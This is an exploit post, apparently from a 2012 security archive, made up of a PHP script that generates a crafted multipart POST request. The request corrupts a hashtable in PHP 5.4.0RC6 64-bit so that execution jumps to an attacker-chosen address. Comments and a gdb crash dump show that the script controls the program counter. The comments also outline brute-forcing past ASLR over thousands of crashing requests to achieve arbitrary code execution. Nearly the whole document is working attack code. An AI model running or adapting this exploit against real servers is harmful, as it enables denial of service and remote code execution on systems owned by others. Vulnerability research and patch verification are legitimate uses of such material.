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PHP 5.4.0RC6 Denial Of Service

Posted on 05 February 2012

<?php
/* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111
 (C) Copyright 2012 Stefan Esser
 PHP 5.3.9 requires you to know the address of a writable address filled with NULL.
 32bit requires you to create a fake 32bit Hashtable instead of a 64bit one
 Because this vulnerability also allows leaking memory addresses ASLR can be "semi"-defeated. This means around 4000
 tries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX
 better exploit might be possible after deeper research + heap massage
 This specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1,
 __zend_filename=0x7fd95a061b68 "/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h", __zend_lineno=350)
 at /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398
398 ht->pDestructor(p->pData);
(gdb) i r
rax 0x7fd9583352a0 140571464389280
rbx 0x0 0
rcx 0x8 8
rdx 0x111111111111111 76861433640456465
rsi 0x7fd95a077b08 140571495070472
rdi 0x7fd9583352a0 140571464389280
rbp 0x7fff75c47ae0 0x7fff75c47ae0
rsp 0x7fff75c47a80 0x7fff75c47a80
r8 0x7fff75c47bc8 140735169199048
r9 0x1 1
r10 0x6238396661373430 7077469926293189680
r11 0x7fd962f4c8e0 140571644840160
r12 0x7fd966b91da8 140571708038568
r13 0x0 0
r14 0xffffffff00000001 -4294967295
r15 0x7fd964b10538 140571673953592
rip 0x7fd959ca5f9d 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/5i $rip
=> 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>: callq *%rdx
 0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert+479>: cmpl $0x8,-0x3c(%rbp)
 0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert+483>: jne 0x7fd959ca6031 <_zend_hash_index_update_or_next_insert+625>
 0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert+489>: mov -0x18(%rbp),%rax
 0x7fd959ca5fad <_zend_hash_index_update_or_next_insert+493>: mov 0x10(%rax),%rax
(gdb)
*/
 $boundary = md5(microtime());
 $varname = "xxx";
 $payload = "";
 $payload .= "--$boundary
";
 $payload .= 'Content-Disposition: form-data; name="'.$varname.'"'."

";
 $payload .= chr(16);
 for ($i=1; $i<7*8; $i++) {
 $payload .= chr(0);
 }
 for ($i=1; $i<8; $i++) {
 $payload .= "x11";
 }
 $payload .= chr(1);
 for ($i=16+48+1; $i<128; $i++) {
 $payload .= chr(0);
 }
 $payload .= "
";
 for ($i=0; $i<1000; $i++) {
 $payload .= "--$boundary
";
 $payload .= 'Content-Disposition: form-data; name="aaa'.$i.'"'."

";
 $payload .= "aaa
";
 }
 $payload .= "--$boundary
";
 $payload .= 'Content-Disposition: form-data; name="'.$varname.'[]"'."

";
 $payload .= "aaa
";
 $payload .= "--$boundary
";
 $payload .= 'Content-Disposition: form-data; name="'.$varname.'[0]"'."

";
 $payload .= "aaa
";
 $payload .= "--$boundary--
";
 echo "POST /index.php HTTP/1.0
";
 echo "Content-Type: multipart/form-data; boundary=$boundary
";
 echo "Content-Length: ",strlen($payload),"
";
 echo "
";
 echo "$payload";
?>

 

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